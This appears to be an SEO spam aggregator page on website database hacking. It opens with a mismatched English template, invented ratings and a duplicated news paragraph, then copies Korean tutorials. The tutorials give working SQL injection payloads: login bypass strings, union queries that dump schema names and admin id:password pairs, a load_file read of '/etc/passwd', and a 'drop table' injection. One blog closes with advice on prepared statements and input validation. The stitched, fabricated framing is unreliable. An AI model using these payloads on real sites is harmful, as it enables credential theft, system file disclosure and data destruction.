You are looking for information, articles, knowledge about the topic nail salons open on sunday near me 웹 사이트 db 해킹 on Google, you do not find the information you need! Here are the best content compiled and compiled by the https://chewathai27.com/to team, along with other related topics such as: 웹 사이트 db 해킹 DB 해킹, db해킹 의뢰, 주식 해킹디비, Normaltic Place, Sqlmap 취약점 찾기, Sqlmap 사용법
초보자도 뚫는 웹사이트 ‘해킹 무방비’ – 머니투데이
- Article author: news.mt.co.kr
- Reviews from users: 45489 Ratings
- Top rated: 3.2
- Lowest rated: 1
- Summary of article content: Articles about 초보자도 뚫는 웹사이트 ‘해킹 무방비’ – 머니투데이 이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다. 이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 … …
- Most searched keywords: Whether you are looking for 초보자도 뚫는 웹사이트 ‘해킹 무방비’ – 머니투데이 이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다. 이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 … 사이트,초보,해킹,무방비,공격,인젝션,사용,국내,해커,모니터국내 웹사이트를 노리는 해커. PC 모니터에 공격 프로그램을 띄워 탐색버튼을 누르자 SQL 인젝션 공격에 노출된 취약점 정보들이 줄줄이 올라온다. SQL 인젝션이란…
- Table of Contents:
대형 통신사조차 ‘당하고도 당한줄 몰라’운에 맡겨야 하나
포토 영상
Soulhacker
- Article author: soulhack.tistory.com
- Reviews from users: 32706 Ratings
- Top rated: 3.1
- Lowest rated: 1
- Summary of article content: Articles about Soulhacker 일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위해 쓰이는 구문들은 다음과 … …
- Most searched keywords: Whether you are looking for Soulhacker 일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위해 쓰이는 구문들은 다음과 … 데이터베이스는 단순하게 ‘ 데이터의 집합’ 이라고 할 수 있다. 일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위..
- Table of Contents:
Soulhack
웹 해킹 과 데이터베이스 본문
[ 해킹 기초 ] SQL 인젝션 공격을 이용한 웹 사이트 권한 획득 : 네이버 블로그
- Article author: m.blog.naver.com
- Reviews from users: 15166 Ratings
- Top rated: 4.2
- Lowest rated: 1
- Summary of article content: Articles about [ 해킹 기초 ] SQL 인젝션 공격을 이용한 웹 사이트 권한 획득 : 네이버 블로그 이제 이로써 데이터베이스에 등록된 사용자는 총 3명입니다. 참고로 COMMIT;를 입력해서 완전히 데이터를 입력하시는 것이 좋습니다. …
- Most searched keywords: Whether you are looking for [ 해킹 기초 ] SQL 인젝션 공격을 이용한 웹 사이트 권한 획득 : 네이버 블로그 이제 이로써 데이터베이스에 등록된 사용자는 총 3명입니다. 참고로 COMMIT;를 입력해서 완전히 데이터를 입력하시는 것이 좋습니다.
- Table of Contents:
카테고리 이동
안경잡이개발자
이 블로그
해킹 기초
카테고리 글
카테고리
이 블로그
해킹 기초
카테고리 글
해킹툴 SQL인젝션 공격 / SQLMAP :: 공돌이청지
- Article author: univbox.tistory.com
- Reviews from users: 10552 Ratings
- Top rated: 3.7
- Lowest rated: 1
- Summary of article content: Articles about 해킹툴 SQL인젝션 공격 / SQLMAP :: 공돌이청지 간단하게 설명하면 웹사이트, 어플리케이션의 정보가 저장되는 database를 직접적으로 공격하는 방법입니다. DB서버로 주로 많이 쓰는 것이 오라클의 … …
- Most searched keywords: Whether you are looking for 해킹툴 SQL인젝션 공격 / SQLMAP :: 공돌이청지 간단하게 설명하면 웹사이트, 어플리케이션의 정보가 저장되는 database를 직접적으로 공격하는 방법입니다. DB서버로 주로 많이 쓰는 것이 오라클의 … SQL Injection 공격은 해킹 수단 중에 가장 간단하면서도 정말 심각하게 치명적인 공격중에 하나입니다. 잘 알려진 공격 수단임에도 아직 허술한 사이트가 많은걸로 알려져있습니다. 얼마전에 여기어때라는 업체가..
- Table of Contents:
웹 사이트 db 해킹
- Article author: www.hackerschool.org
- Reviews from users: 37924 Ratings
- Top rated: 3.5
- Lowest rated: 1
- Summary of article content: Articles about 웹 사이트 db 해킹 아는 지인이 웹사이트를 운영하고 있습니다… 전산에 대해서 아무것도 모르는 분이라… 사이트 관리자 계정만 가지고 운영을 하고 있고… DB서버 … …
- Most searched keywords: Whether you are looking for 웹 사이트 db 해킹 아는 지인이 웹사이트를 운영하고 있습니다… 전산에 대해서 아무것도 모르는 분이라… 사이트 관리자 계정만 가지고 운영을 하고 있고… DB서버 …
- Table of Contents:
한국 웹사이트 8곳 해킹 당했나? DB 정보 딥웹에 유출됐다
- Article author: www.boannews.com
- Reviews from users: 26297 Ratings
- Top rated: 3.0
- Lowest rated: 1
- Summary of article content: Articles about 한국 웹사이트 8곳 해킹 당했나? DB 정보 딥웹에 유출됐다 딥웹이나 다크웹에서 주로 활동하는 해커들은 자신들이 해킹한 웹 사이트의 DB 정보, 개인정보 등 내부 정보 가운데 일부를 딥웹 커뮤니티 포럼에 … …
- Most searched keywords: Whether you are looking for 한국 웹사이트 8곳 해킹 당했나? DB 정보 딥웹에 유출됐다 딥웹이나 다크웹에서 주로 활동하는 해커들은 자신들이 해킹한 웹 사이트의 DB 정보, 개인정보 등 내부 정보 가운데 일부를 딥웹 커뮤니티 포럼에 … 최근 해커들이 해킹으로 빼낸 개인정보나 국내 회사 내부정보 등이 다크웹 또는 딥웹을 통해 유출돼 문제가 커지고 있는 가운데 얼마 전에는 국내 기업을 비롯해 학회, 조합, 협회, 쇼핑몰 등이 망라된 8곳의 웹사이트가 해킹돼 DB 정보가 딥웹에 유출된 것으로 드러났다. 딥웹,다크웹,해킹,해커,데이터베이스,개인정보,사건사고,DB 정보,,
- Table of Contents:
데이터베이스를 해킹하는 방법
- Article author: ko.wukihow.com
- Reviews from users: 522 Ratings
- Top rated: 4.4
- Lowest rated: 1
- Summary of article content: Articles about 데이터베이스를 해킹하는 방법 익스플로잇이있는 또 다른 사이트는 www.exploit-db.com입니다. 웹 사이트로 이동하여 검색 링크를 클릭 한 다음 해킹하려는 데이터베이스 유형 (예 : “oracle”)을 … …
- Most searched keywords: Whether you are looking for 데이터베이스를 해킹하는 방법 익스플로잇이있는 또 다른 사이트는 www.exploit-db.com입니다. 웹 사이트로 이동하여 검색 링크를 클릭 한 다음 해킹하려는 데이터베이스 유형 (예 : “oracle”)을 … 데이터베이스가 해커로부터 안전한지 확인하는 가장 좋은 방법은 해커처럼 생각하는 것입니다. 해커라면 어떤 정보를 찾고 싶습니까? 어떻게 얻으려고할까요? 수많은 유형의 데이터베이스와이를 해킹하는 다양한 방법이 있지만 대부분의 해커는 데이터베이스 루트 암호를 크래킹하거나 알려진 데이터베이스 익스플로잇을 실행합니다. SQL 문에 익숙하고 데이터베이스 기본 사항을 이해한다면 데이터베이스를 해킹 할 수 있습니다.
- Table of Contents:
관련 wikiHows
이 기사가 최신입니까
[웹해킹] SQL 인젝션 공격 이란?
- Article author: oggwa.tistory.com
- Reviews from users: 2198 Ratings
- Top rated: 3.3
- Lowest rated: 1
- Summary of article content: Articles about [웹해킹] SQL 인젝션 공격 이란? SQL 인젝션 공격 이란 데이터베이스에 전송되는 SQL 쿼리문을 사용자 입력으로 조작하여, 데이터베이스 내의 데이터를 변조하거나 허가되지 않은 정보에 … …
- Most searched keywords: Whether you are looking for [웹해킹] SQL 인젝션 공격 이란? SQL 인젝션 공격 이란 데이터베이스에 전송되는 SQL 쿼리문을 사용자 입력으로 조작하여, 데이터베이스 내의 데이터를 변조하거나 허가되지 않은 정보에 … SQL 인젝션 공격 SQL 인젝션 공격 이란 데이터베이스에 전송되는 SQL 쿼리문을 사용자 입력으로 조작하여, 데이터베이스 내의 데이터를 변조하거나 허가되지 않은 정보에 접근 할 수 있는 공격이다. 웹사이트의..
- Table of Contents:
Header Menu
Main Menu
[웹해킹] SQL 인젝션 공격 이란‘IT웹해킹’ 관련 글
Sidebar – Right
Sidebar – Footer 1
Sidebar – Footer 2
Sidebar – Footer 3
Copyright © 오꽈 All Rights Reserved
Designed by JB FACTORY
실사례를 통한 SQL_Injection 웹해킹 DB자료 유출
- Article author: webzero.tistory.com
- Reviews from users: 18489 Ratings
- Top rated: 4.1
- Lowest rated: 1
- Summary of article content: Articles about 실사례를 통한 SQL_Injection 웹해킹 DB자료 유출 실제적으로 게시판등을 통해서 파라미터 값을 넣어서 사이트의 오류를 발생시키고, 오류페이지에 노출되는 정보를 통해 DB테이블명, 컬럼정보 등을 유추 … …
- Most searched keywords: Whether you are looking for 실사례를 통한 SQL_Injection 웹해킹 DB자료 유출 실제적으로 게시판등을 통해서 파라미터 값을 넣어서 사이트의 오류를 발생시키고, 오류페이지에 노출되는 정보를 통해 DB테이블명, 컬럼정보 등을 유추 … 안녕하세요. 이호스트데이터센터 IDC컨설팅 지게꾼입니다. 오랜만에 보안관련 포스팅을 작성하는 것 같습니다. 올해 가장 큰 프로젝트였던 메인 IDC를 이전해야하는 프로젝트가 있어서 여름내내 운영센터에서 살..
- Table of Contents:
태그
‘IT 알아보기보안 이슈’ Related Articles
공지사항
최근 포스트
태그
검색
전체 방문자
티스토리툴바
See more articles in the same category here: https://chewathai27.com/to/blog.
초보자도 뚫는 웹사이트 ‘해킹 무방비’
국내 웹사이트를 노리는 해커. PC 모니터에 공격 프로그램을 띄워 탐색버튼을 누르자 SQL 인젝션 공격에 노출된 취약점 정보들이 줄줄이 올라온다.
SQL 인젝션이란 웹사이트 접속시 사용자 로그인 입력값이나 URL 인자값에 특수문자(” , /, Space 등)와 SQL 구문(or, and 등)을 포함시킬 경우, 사용자 인증과정없이 데이터베이스(DB)에 접근할 수 있는 취약점을 노린 해킹 방법. 주로 고객정보를 노린 웹사이트 해킹에 주로 이용되는 방법이다.
이렇게 해서 해커가 내부 DB서버에 접근한 경과시간은 3분도 채 걸리지 않았다. 이후 해커가 띄워놓은 공격자 프로그램에는 데이터베이스 내부의 고객 아이디와 이름, 소속명, 전화번호들이 속속들이 걸러져 나왔다.
중국의 언더그라운드 해커 사이트 www.hacXXX.com’에 올려진 웹사이트 해킹 시연 동영상이다.
↑웹해킹 프로그램.
◇국내 웹사이트 50%가 해킹 무방비 상태
지난달 국내 최대 오픈마켓인 옥션이 해킹을 당해 고객정보가 유출되는 사건이 발생한데 이어 최근에는 통신사 및 인터넷기업들의 웹사이트를 줄줄이 해킹해 100만여명의 고객정보를 빼낸 일당이 경찰에 검거됐다.
하지만 이번에 적발된 해킹사고는 ‘빙산의 일각’에 지나지 않는다는 것이 보안 전문가들의 지적이다.
한국정보보호진흥원에 따르면, 지난해 악성코드를 유포하기 위해 웹사이트를 해킹한 건수만 총 5551건에 달했다. 미처 잡아내지 못한 해킹사례까지 포함하면 피한를 당한 웹사이트수는 훨씬 많을 것으로 추정된다. 이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다.
이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 연동된 웹사이트의 경우라면 상황이 다르다. 고객정보 등 DB서버에 쌓여있는 정보를 죄다 빼낼 수 있기 때문.
회원가입이나 로그인을 필요로 하는 사이트라면 대부분 내부 DB서버와 연동돼 있다고 보면 된다.
네트워크를 통해 침투하는 일반 해킹과 달리, 웹사이트 해킹은 로그인 정보 등 단서조차 쉽게 찾아낼 수 없다. 그래서 더 무섭다. 실제 이번에 해킹당한 대형 통신업체들도 경찰의 통보가 있기까지 해킹당한 사실조차 몰랐던 것으로 알려졌다.
◇자동 공격 프로그램 일반화..초보자도 해킹
문제는 최근들어 웹사이트 해킹 기법이 보다 쉬워지고 있다는 것. 중국 언더그라운드 해커그룹 사이트에 접속하면 SQL 인젝션 자동 공격 프로그램들이 널려 있다. 이들 중 일부 프로그램과 사용법은 이미 국내 커뮤니티를 통해서도 손쉽게 얻을 수 있다. 심지어는 그래도 모르는 사용자들을 위해 친절히 해킹과정을 설명해주는 시연 동영상마저 나돌고 있다.
웹보안업체인 닷큐어의 정경구 이사는 국내 웹사이트를 노리는 해커. PC 모니터에 공격 프로그램을 띄워 탐색버튼을 누르자 SQL 인젝션 공격에 노출된 취약점 정보들이 줄줄이 올라온다.SQL 인젝션이란 웹사이트 접속시 사용자 로그인 입력값이나 URL 인자값에 특수문자(” , /, Space 등)와 SQL 구문(or, and 등)을 포함시킬 경우, 사용자 인증과정없이 데이터베이스(DB)에 접근할 수 있는 취약점을 노린 해킹 방법. 주로 고객정보를 노린 웹사이트 해킹에 주로 이용되는 방법이다.이렇게 해서 해커가 내부 DB서버에 접근한 경과시간은 3분도 채 걸리지 않았다. 이후 해커가 띄워놓은 공격자 프로그램에는 데이터베이스 내부의 고객 아이디와 이름, 소속명, 전화번호들이 속속들이 걸러져 나왔다.중국의 언더그라운드 해커 사이트 www.hacXXX.com’에 올려진 웹사이트 해킹 시연 동영상이다.지난달 국내 최대 오픈마켓인 옥션이 해킹을 당해 고객정보가 유출되는 사건이 발생한데 이어 최근에는 통신사 및 인터넷기업들의 웹사이트를 줄줄이 해킹해 100만여명의 고객정보를 빼낸 일당이 경찰에 검거됐다.하지만 이번에 적발된 해킹사고는 ‘빙산의 일각’에 지나지 않는다는 것이 보안 전문가들의 지적이다.한국정보보호진흥원에 따르면, 지난해 악성코드를 유포하기 위해 웹사이트를 해킹한 건수만 총 5551건에 달했다. 미처 잡아내지 못한 해킹사례까지 포함하면 피한를 당한 웹사이트수는 훨씬 많을 것으로 추정된다. 이 중 상당수가 해킹시연 동영상과 같은 SQL 인젝션 공격에 당했다.이들 웹사이트는 주로 악성코드를 유포하는데 악용됐다. 그러나 내부DB서버가 연동된 웹사이트의 경우라면 상황이 다르다. 고객정보 등 DB서버에 쌓여있는 정보를 죄다 빼낼 수 있기 때문.회원가입이나 로그인을 필요로 하는 사이트라면 대부분 내부 DB서버와 연동돼 있다고 보면 된다.네트워크를 통해 침투하는 일반 해킹과 달리, 웹사이트 해킹은 로그인 정보 등 단서조차 쉽게 찾아낼 수 없다. 그래서 더 무섭다. 실제 이번에 해킹당한 대형 통신업체들도 경찰의 통보가 있기까지 해킹당한 사실조차 몰랐던 것으로 알려졌다.문제는 최근들어 웹사이트 해킹 기법이 보다 쉬워지고 있다는 것. 중국 언더그라운드 해커그룹 사이트에 접속하면 SQL 인젝션 자동 공격 프로그램들이 널려 있다. 이들 중 일부 프로그램과 사용법은 이미 국내 커뮤니티를 통해서도 손쉽게 얻을 수 있다. 심지어는 그래도 모르는 사용자들을 위해 친절히 해킹과정을 설명해주는 시연 동영상마저 나돌고 있다.웹보안업체인 닷큐어의 정경구 이사는
<저작권자 © ‘돈이 보이는 리얼타임 뉴스’ 머니투데이, 무단전재 및 재배포 금지> 공감 0%
비공감 0%
Soulhacker
데이터베이스는 단순하게 ‘ 데이터의 집합’ 이라고 할 수 있다. 일반적으로 웹 사이트에서 게시판이나 회원 로그인 등은 모두 데이터베이스를 사용한 것이다. 예를 들어서 웹 페이지의 회원 기능을 제작하기 위해 쓰이는 구문들은 다음과 같다.
● 회원 가입 – INSERT 문
● 회원정보 수정 – UPDATE 문
● 로그인 – SELECT 문
● 회원 탈퇴 – DELETE 문
예) SELECT idx FROM member WHERE id= ‘입력 아이디’ and password = ‘입력 패스워드’
=> member 테이블에서 id가 ‘입력아이디’이고 password가 ‘입력패스워드’인 결과의 idx 컬럼(열) 출력.
위 쿼리의 ROW 값이 리턴된다면 올바른 아이디와 패스워드를 입력한 것이고, 리턴 값이 없다면 올바흐지 않은 정보를 입력했다고 판단 할 수 있다.
예) INSERT into member(id,password,name) values(‘입력 아이디’ , ‘입력 패스워드’ , ‘입력 이름’);
=> member 테이블에 ‘입력 아이디’ , ‘입력 패스워드’ , ‘입력 이름’ 값을 추가
예) UPDATE member SET password = ‘새로운 패스워드’ WHERE id = ‘hellsonic’
=> member 테이블에 id가 hellsonic인 경우 패스워드를 ‘새로운 패스워드’로 변경
예) DELETE FROM member WHERE id=’hellsonic’
=> member 테이블에 id가 hellsonic 인 경우, ROW를 삭제
공격에 자주 사용되는 UNION 문은 둘 이상의 ROW가 리턴된다.
예) SELECT 1 FROM DUAL UNION SELECT 2
UNION문은 SQL 삽입 공격 시 해커들이 손쉽게 데이터를 빼낼 수 있기 때문에 가장 많이 사용되는 쿼리이다. 단, UNION문 사용 시 앞 SELECT 문의 칼럼 개수와 뒤 SELECT문의 칼럼 개수가 같아야 한다.
예) SELECT 1,2,3 UNION SELECT 4,5,6
사용자의 입력값은 대개 WHERE 조건절에 들어가게 된다. Integer 형식이라면 따옴표(쿼터) 값 없이 그냥 입력되겠지만, String형식인 경우 작은 따옴표(싱글쿼터) 나 큰따옴표(더블쿼터) 사이에 문자열 값이 들어가게 되므로 따옴표를 문자열 입력값에 삽입해 쿼리를 새로 작성할 수 있다.
예) 아이디에 admin, 패스워드 대신에 ‘or ‘1’ = ‘1 이라는 값을 넣는다면 쿼리는 다음과 같이 입력될 것이다.
=> SELECT id FROM member WHERE id = ‘admin’ and password = ‘ ‘ or ‘1’=’1′ (마지막에 싱글쿼터는 자동으로 붙는다)
이 쿼리의 조건절을 해석해보면, id 가 admin이면서 패스워드가 빈칸(‘ ‘)이거나 , 1 이 1인 경우다. 1=1은 참이므로 조건절의 모든 조건에 부합해 모든 ROW가 리턴될 것이고, 최상위에 있는 ROW 값의 아이디(admin)로 로그인 될 것이다. 쿼리에서 where문은 if문과 같다고 볼 수 있다. 조건식에서의 값이 참일 경우는 1(True), 거짓일 경우 0(False) 값이 리턴되므로, 1=1혹은 1값을 사용할 수 있다.
<예시>
데이터베이스 이름 :book
테이블 이름 : member
id password admin admpwd user usrpwd
유저명 출력 select user(); 버전명 출력 select version(); 현재 사용 데이터베이스명 출력 select database(); 유저 리스트 출력 select user from mysql.user 모든 스키마(schema)명 출력 select schema.name from information_schema.schemata 모든 테이블명 출력 select table_name from information_schema.tables 테이블 칼럼명 출력 select column_name from information_schema.columns where table_name = ‘테이블명’ 로컬 파일 접근 select load_file(‘/etc/passwd’) 파일로 추출 select 1234 into outfile ‘/tmp/outfile’
최종목표인 ‘관리자 패스워드’를 알아내기까지의 과정 예시
①데이터베이스명 획득(book)
Query => SELECT id FROM member WHERE id=’1234’ and password = ‘1’ union select chema_name from information_schema.schemata limit 1,1#’
결과 : Hello book
②테이블명 획득(member)
Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select table_name from information_schema.tables where table_schema=database()#’
결과 : Hello member
③칼럼명 획득 1(id)
Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select column_name from information_schema.columns where table_name =’member’ limit 0,1 #’
결과 : Hello id
④칼럼명 획득 2(password)
Query => SELECT id FROM member WHERE id=1234′ and password=’1′ union select column_name from information_schema.columns where table_name=’member’ limit 1,1#’
결과 : Hello password
⑤멤버 테이블의 id, password 획득
Query => SELECT id FROM member WHERE id=’1234′ and password=’1′ union select concat(id, ‘:’ ,password) from member#’
결과 : Hello admin : admpwd
2. Blind SQL
Blind SQL 삽입은 바로 결과값을 알 수 있는 것이 아니라, 쿼리 결과의 참/거짓 정보만으로 데이터를 추출해내는 기법이다.
3. 자동화 툴
pangolin, sqlmap, Havji 가 있다.
[ 해킹 기초 ] SQL 인젝션 공격을 이용한 웹 사이트 권한 획득
http://blog.naver.com/ndb796/220632589882
합법적 해킹 시연을 위해서 제가 직접 만든 JSP 웹 사이트를 이용하도록 하겠습니다.
제 서버에 접속을 하면 다음과 같은 LoginForm.jsp 화면이 메인으로 뜨게 됩니다.
현재 제 데이터베이스에 등록된 사용자부터 일단 확인하겠습니다.
위와 같이 현재 한 명의 사용자만 제가 등록을 해놓았군요.
일단 무작위로 두 개의 사용자 데이터를 추가적으로 등록하겠습니다.
이제 이로써 데이터베이스에 등록된 사용자는 총 3명입니다. 참고로 COMMIT;를 입력해서 완전히 데이터를 입력하시는 것이 좋습니다.
원래는 위와 같이 정상적으로 계정을 입력한 뒤에 접속하면 환영 메시지가 떠야 정상입니다.
아래처럼 아무 값이나 입력하고 Submit 버튼을 누르게 되면 당연히 엑세스가 거부됩니다.
하지만 이번엔 아이디에 ‘ or 1=1 — 이라는 값을 넣고 비밀번호에 아무런 값이나 넣어보겠습니다.
이상하게도 Mike Johnson이라는 사람의 계정의 권한을 획득했습니다.
이게 어떻게 된 일일까요? 다시 코드를 한 번 살펴보겠습니다.
위 코드를 보면 바로 다음의 SQL 문을 실행한다는 것을 알 수 있습니다.
SELECT * FROM users WHERE userName = ‘ 아이디 ‘ AND password = ‘ 비밀번호 ‘
말 그대로 String의 형태로 아이디와 비밀번호를 입력 받아서 그것을 필터링 없이 처리를 해주고 있습니다.
이것은 상당한 보안 취약점을 가져옵니다. 위에 입력한 ‘ or 1=1 –는 데이터로서 넘어갈 때 다음의 SQL문을
실행시킵니다. 비밀번호로 입력한 Hacked!도 포함해보겠습니다.
SELECT * FROM users WHERE userName = ” or 1=1 — AND password = ‘Hacked!’
바로 위 SQL 실행 문장이 됩니다. 이것을 실제로 데이터베이스에 넣고 실행해보겠습니다.
위와 같이 3개의 계정이 모두 나오게 됩니다. 실제로 처리되는 과정을 볼 수 있는 것이죠.
그 이유는 Oracle 11g의 문법에서 — 뒤에 나오는 모든 명령어는 주석처리 되기 때문입니다.
즉, SELECT * FROM users WHERE userName = ” or 1=1;이 실행되는 것과 같은 결과가 나옵니다.
즉, 위의 결과에서 가장 먼저 출력되는 하나의 결과를 받아서 권한을 승인하기 때문에 정상적으로 접속이 되는 것입니다.
저는 1=1을 예시로 입력했지만 ‘x’ = ‘x’와 같은 SQL문을 삽입해서 공격할 수도 있습니다. 한 마디로 ‘x’ =’x’은 항상 성립하기 때문에
userName = ” OR ‘x’ =’x’ 또한 항상 성립한다는 것이죠. 이러한 공격의 결과는 항상 “Select * FROM users;”가 되겠습니다.
이번에는 조금 더 심화된 공격을 해보겠습니다. 권한을 얻고 싶은 사람의 아이디를 알아내서 그 아이디로 접속하도록 하겠습니다.
’ union select * from users where username = ‘jackdo123′–를 아이디에 입력하겠습니다. 바로 jackdo123에 접속하는 것이죠.
비밀번호는 아무거나 입력해도 됩니다.
권한 획득에 성공했습니다. 위는 데이터베이스에서 실제로 같은 SQL문을 입력한 경우를 보여드린 것입니다.
이처럼 SQL 인젝션은 굉장히 위험한 공격이자 웹 개발자에게는 반드시 방어를 구축해야되는 부분이기도 합니다.
한 번 빈틈을 보이면 관리자 권한부터 오라클 최고 권한까지 뺏겨서 DB 서버 전체를 잡아먹힐 수도 있습니다.
더 치명적인 공격 예시를 보여드리겠습니다. 바로 데이터베이스 테이블 자체를 삭제하는 것입니다.
위 테이블은 제가 오라클 11g에서 만들어놓은 mov라는 테이블입니다.
’; drop table mov cascade constraints; select * from users where username = ‘jackdo123’–
위 문자열을 아이디로 입력하면 mov라는 테이블을 삭제하고 jackdo123이라는 계정으로 접속이 되겠습니다.
다행히도 오라클 11g에서는 다중 SQL 문 실행이 안되기 때문에 이런 위험한 공격은 막을 수 있습니다.
하지만 MySQL이나 MS SQL 혹은 PostgrSQL을 사용한다면 이러한 공격에 순식간에 테이블이 날라갑니다.
그렇다면 SQL-Injection Attack(SQL 인젝션 공격) 은 어떻게 방어가 가능할까요?
SQL 인젝션으로부터 웹 애플리케이션을 보호하기 위해서는 사용자가 입력한 데이터는 절대로 사용자가 의도적으로 SQL
구문의 문법을 이행할 수 없도록 보호를 해야만 합니다. SQL 인젝션 공격을 막기 위해서는 모든 동적인 SQL 문장은 다음의
구성요소만을 이용해야 합니다.
● 불러올 수 있는 구문에 따른 저장된 절차(Stored Procedure)를 이용하기
● Prepared Statements 문법 이용하기
하지만 이러한 접근 방법에도 입력 값의 타당성(Validation)은 확보되어야만 합니다. 모든 String
입력 데이터는 반드시 타당해야만 하고 Single Quotes(단일 인용 표시)들은 허용되어서는 안됩니다.
입력 값을 검열하는 하나의 가장 좋은 방법은 바로 정규식(Regular Expression)을 이용하는 방법입니다.
그것이 무엇이냐면 예를 들어 이메일 주소를 입력 받을 때는 @ – . _ 의 4가지 특수문자만 허용하는 등의 방법을 말합니다.
So you have finished reading the 웹 사이트 db 해킹 topic article, if you find this article useful, please share it. Thank you very much. See more: DB 해킹, db해킹 의뢰, 주식 해킹디비, Normaltic Place, Sqlmap 취약점 찾기, Sqlmap 사용법